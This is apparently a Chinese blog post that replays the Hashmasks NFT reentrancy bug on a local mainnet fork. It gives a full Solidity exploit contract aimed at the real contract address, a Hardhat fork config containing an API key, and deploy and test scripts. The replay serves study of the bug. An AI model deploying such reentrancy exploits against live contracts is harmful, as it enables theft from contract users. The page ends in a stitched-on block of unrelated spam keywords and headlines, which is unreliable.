Hack Replay - Hashmask

  • bixia1994
  • 更新于 2021-08-21 16:04
  • 阅读 2793

很巧的是,在我写作这篇文章的时候,我注意到登链社区已经有人写了跟我一样的题材: 给人惊吓的代码 可以对比参考者一起看看

Hack Replay - Hashmask

image20210820112110718.png

本文也是基于Samczsun的雄文: https://samczsun.com/the-dangers-of-surprising-code/ 进行的学习。最近Samczsun在8月份连发两篇文章,分别强调了基于循环内调用delegatecall和ERC721的回调函数导致的重进入问题。事实上该类型的问题Samczsun在去年2020年一次公开讲座中也专门讲过。这两篇文章算是对当时的一个公开讲座的一次回顾与进一步的强调。

很巧的是,在我写作这篇文章的时候,我注意到登链社区已经有人写了跟我一样的题材: 给人惊吓的代码 可以对比参考者一起看看 当然欢迎加我的微信woodward1993或者关注我的公众号,公众号名字是bug合约写手,最近公众号涨粉有点慢:)

漏洞合约

Hashmask的漏洞合约集中在主合约mask.sol中的_safeTransferFrom_safeMint函数。

function mintNFT(uint256 numberOfNfts) public payable {
    //检查totalsupply不能超过
    require(totalSupply() < MAX_NFT_SUPPLY);
    require(numberOfNfts.add(totalSupply()) < MAX_NFT_SUPPLY);
    //检查numberOfNFT在(0,20]
    require(numberOfNfts > 0 && numberOfNfts <=20);
    //检查价格*numberOfNFT==msg.value
    require(numberOfNfts.mul(getNFTPrice()) == msg.value);
    //执行for循环,每个循环里都触发mint一次,写入一个全局变量
    for (uint i = 0; i < numberOfNfts; i++) {
        uint index = totalSupply();
        _safeMint(msg.sender, index);
    }
}
function _safeMint(address owner, uint index) internal {
    //调用_mint函数
    _mint(owner,index);
    //执行onERC721Received(address,address,uint,bytes)检查
    _onERC721Reveived(owner,address(0),index,"");
}
function _mint(address to, uint index) internal {
    //检查to地址不能是address(0)
    require(to!= address(0),"HashMasks/_mint address to should not be 0");
    //检查编号为index的NFT不能已经存在
    require(!_exists(index),'HashMasks/_mint alread minted');
    //在mint前进行检查
    _beforeTokenTransfer(address(0),to,tokenId);
    //写入map
    _holderTOkens[to].add(index);
    _tokenOwners.set(tokenId, to);
    emit Transfer(address(0), to, tokenId);
}
function _onERC721Received(address operator, address from, uint index, bytes calldata data)
    external 
    returns (bool)
{
    //判断是不是一个operator合约地址
    if (msg.sender == tx.origin) {
        return true;
    }
    uint code_size;
    assembly{
        code_size := extcodesize(operator)
    }
    require(code_size > 0);
    //计算出返回的目标值
    byte4 erc721_returns = 
    bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
    //调用地址to上的onERC721Recieved函数,判断是否调用成功,并且返回值是否等于目标值  
    (bool success, bytes memory data) =
    address(operator).call(abi.encodeWithSelector(erc721_returns,operator,from,index,data));
    require(success, "HaskMasks/_onERC721Received call failed");
    bytes4 return_data = abi.decode(data, (bytes4));
    require(uint32(return_data)==uint32(erc721_returns), "HashMasks/_onERC721Received call returns wrong");
}

漏洞分析

该合约中最大的漏洞在于ERC721标准中,要求

A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers.

即使用safeTransferFrom函数时,如果接受者的地址是一个合约地址,则需要验证该地址上的onERC721Received函数,其返回值是否为固定的值0x150b7a02

然而事实上,这里就引入了一个不安全的外部合约调用。作为一名攻击者,我可以在合约中的onERC721Received函数里执行任何我想要的操作,例如,我可以直接在重新进入mintNFT函数,铸造出超过我本金的NFT数量。

pragma solidity ^0.7.0;

import "./IHashMasks.sol";
import "hardhat/console.sol";
interface ERC721TokenReceiver{
    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external payable returns(bytes4);
}
contract Exploit is ERC721TokenReceiver{  
    IHashMasks public hashmask;
    address public hashmask_addr = 0xC2C747E0F7004F9E8817Db2ca4997657a7746928;
    uint public currentNFTPrice;
    uint public reentry_time;
    bool public allow_reentry = true;
    constructor() public{
        hashmask = IHashMasks(hashmask_addr);
        currentNFTPrice = hashmask.getNFTPrice();
    }

    function hack() public payable{
        //拿到当前的NFT价格乘以20计算得到需要传入的ETH数量
        console.log(msg.value);
        console.log(currentNFTPrice*20);
        require(currentNFTPrice*20 <= msg.value, "Exploit/hack, insufficent ETH send");
        console.log("the ETH sent is : %s", msg.value);
        //调用hashmask中的mintNFT函数
        hashmask.mintNFT{value:2 ether}(20);
        //验证是否破解成功,即自己拿到了多少个NFT,是否大于20个
        uint balance = hashmask.balanceOf(address(this));
        console.log("i have %s NFTs", balance);

    }
    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) 
    public payable override
    returns(bytes4) 
    {
        bytes4 return_val = 
        bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
        //判断是否应该退出mintNFT函数
        console.log("token_id:%s",_tokenId);
        if (allow_reentry) {
        //重进入mintNFT函数
            allow_reentry = false;
            console.log("token_id in the reentry is %s", _tokenId);
            hashmask.mintNFT{value:2 ether}(20);
        }   
        // 返回
        return return_val;

    }
}

漏洞利用

简单的指出漏洞并不是我们的目的,我们的目的从来都是在hardhat的本地环境中,做一个完整的POC。

确认区块高度

首先我们要找到需要fork的区块高度,查找Etherscan上的数据可以看到:

image20210820145959480.png

该合约hashmask(0xC2C747E0F7004F9E8817Db2ca4997657a7746928)在Etherscan上的所有交易如上图所示,可以看到合约的创建在 0xe9e60dc12e1a7bc545aa497bc494f5f54ce81da06de4f6fef50459816218e66b这笔交易上,合约部署后的第一笔mintNFT方法在 0xa3a5231b9df2211622c977752f6f60e80448eb9719fe4500e3760d296096804e上,对应的区块高度为 11744960。故,我们可以直接Fork到区块高度为 11744960上即可。

require("@nomiclabs/hardhat-waffle");

task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
  const accounts = await hre.ethers.getSigners();

  for (const account of accounts) {
    console.log(account.address);
  }
});
module.exports = {
  solidity: "0.7.0",
  networks:{
    hardhat:{
      forking: {
        url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
        blockNumber:11744960,
      },
      throwOnTransactionFailures: true,
      throwOnCallFailures: true,
      allowUnlimitedContractSize: true,
      gas: 12000000,
      blockGasLimit: 0x1fffffffffffff,
      allowUnlimitedContractSize: true,
      timeout: 1800000
    }
  }
};

找到合约接口

有了区块高度,我们还需要一个合约接口与该合约进行交互。常用的方法是拷贝Etherscan上该合约的ABI,然后利用ABI2SOL的网站https://gnidan.github.io/abi-to-sol/,将ABI转换为接口。

编写合约部署脚本

const hre = require("hardhat")
const ethers = hre.ethers

async function main(){
    const [owner] = await ethers.getSigners();
    const Exploit = await ethers.getContractFactory("Exploit");
    const exploit = await Exploit.connect(owner).deploy()
    const currentNFTPrice = await exploit.currentNFTPrice();
    console.log("currentNFTPrice is %s",currentNFTPrice);
    console.log("deployed exploit contract address is %s", exploit.address)
    //hack start
    const overrides = {
        value: ethers.utils.parseEther("4.0")
    }
    const tx = await exploit.hack(overrides);
    console.log(tx)
}

main()
    .then(()=>process.exit(0))
    .catch(error=>{
        console.error(error)
        process.exit(1)
    })

编写测试脚本

通过编写测试脚本,我们可以测试出我们的破解合约表现如何:

const hre = require("hardhat")
const ethers = hre.ethers
const {expect} = require("chai")

describe("Exploit the hashmasks contract", function (){
    let owner;
    let addr1;
    let exploit;
    let hashmasks;
    beforeEach(async function(){
        Exploit = await ethers.getContractFactory("Exploit");
        [owner, addr1] = await ethers.getSigners();
        exploit = await Exploit.connect(owner).deploy();
        hashmasks = await ethers.getContractAt("IHashMasks","0xC2C747E0F7004F9E8817Db2ca4997657a7746928");
    })
    describe("Before Exploit", function(){
        it("currentNFTPrice should be 0.1 when currentSupply < 3000", async function(){
            expect(await hashmasks.getNFTPrice()).to.equal(ethers.utils.parseEther("0.1"));
            expect(await hashmasks.totalSupply()).to.lt(3000);
            expect(await hashmasks.balanceOf(exploit.address)).to.eq("0");
        })
    })
    describe("after Exploit", function(){
        it("After hack the balance should be > 20 NFT", async function(){
            let overrides = {
                value: ethers.utils.parseEther("4.0")
            }
            let tx = await exploit.hack(overrides);
            console.log(tx)
            console.log("the balance of the exploit is %s", await hashmasks.balanceOf(exploit.address))
            expect(await hashmasks.balanceOf(exploit.address)).to.eq("40");
        })
    })

})

合约分析

在samczsun的文章中,有如下描述:

However, we're the recipient of the token, which means we just got a callback at which point we can do whatever we like, including calling mintNFT again. If we do this, we'll reenter the function after only one mask has been minted, which means we can request to mint another 19 masks. This results in a total of 39 masks being minted, even though the maximum allowable was only 20.

确实可以利用ERC721标准中定义的回调函数:onERC721Received来重新进入mintNFT,但是由于mintNFT函数在编写时事实上遵循了“检查-生效-交互”的标准,我们的回调函数在重新进入mintNFT时,会首先经过检查,尤其是:

require(numberOfNfts.mul(getNFTPrice()) == msg.value);

这里的msg.value值需要仔细理解:

如下图所示,当ExpoitHack方法调用mintNFT方法是,msg.senderaddress(Exploit); 当mintNFT方法调用回调函数onERC721Received时,msg.senderaddress(HashMasks). 当回调函数决定重进入mintNFT方法时,msg.senderaddress(Exploit). image20210821154149520.png

故samczsun说的重进入是允许的,但只是让一笔交易多mint了几个NFT而已,每个NFT都付钱了。 image20210821154826776.png

  • 学分: 18
  • 分类: 智能合约
  • 标签: samczsun 
点赞 3
收藏 1
分享
本文参与 登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

你可能感兴趣的文章

相关问题

6 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
贡献值: 675 学分: 610
learn to code

聚圣源起名八字 打分商铺怎样起名邱起名男生送给学校起个名字宝宝起名宝宝内存条价格8月8号去哪儿旅行网小胖妞起名秦姓谢咏老师取名起名大全网站你是我的翅膀中国起名学实用大全未来日记oad好寓意的成语起名字大全第四套币停止流通新生婴儿起名字2020年给刚刚出生宝宝起名科举答题器起起名软件下载app起名声名鹊起是什么意思贝起名3月份宝宝起名宝宝取名起名大全 姓马大案要案纪实触摸精灵jj斗地主下载梓起什么名字好cctv5节目表预告淀粉肠小王子日销售额涨超10倍罗斯否认插足凯特王妃婚姻让美丽中国“从细节出发”清明节放假3天调休1天男孩疑遭霸凌 家长讨说法被踢出群国产伟哥去年销售近13亿网友建议重庆地铁不准乘客携带菜筐雅江山火三名扑火人员牺牲系谣言代拍被何赛飞拿着魔杖追着打月嫂回应掌掴婴儿是在赶虫子山西高速一大巴发生事故 已致13死高中生被打伤下体休学 邯郸通报李梦为奥运任务婉拒WNBA邀请19岁小伙救下5人后溺亡 多方发声王树国3次鞠躬告别西交大师生单亲妈妈陷入热恋 14岁儿子报警315晚会后胖东来又人满为患了倪萍分享减重40斤方法王楚钦登顶三项第一今日春分两大学生合买彩票中奖一人不认账张家界的山上“长”满了韩国人?周杰伦一审败诉网易房客欠租失踪 房东直发愁男子持台球杆殴打2名女店员被抓男子被猫抓伤后确诊“猫抓病”“重生之我在北大当嫡校长”槽头肉企业被曝光前生意红火男孩8年未见母亲被告知被遗忘恒大被罚41.75亿到底怎么缴网友洛杉矶偶遇贾玲杨倩无缘巴黎奥运张立群任西安交通大学校长黑马情侣提车了西双版纳热带植物园回应蜉蝣大爆发妈妈回应孩子在校撞护栏坠楼考生莫言也上北大硕士复试名单了韩国首次吊销离岗医生执照奥巴马现身唐宁街 黑色着装引猜测沈阳一轿车冲入人行道致3死2伤阿根廷将发行1万与2万面值的纸币外国人感慨凌晨的中国很安全男子被流浪猫绊倒 投喂者赔24万手机成瘾是影响睡眠质量重要因素春分“立蛋”成功率更高?胖东来员工每周单休无小长假“开封王婆”爆火:促成四五十对专家建议不必谈骨泥色变浙江一高校内汽车冲撞行人 多人受伤许家印被限制高消费

聚圣源 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化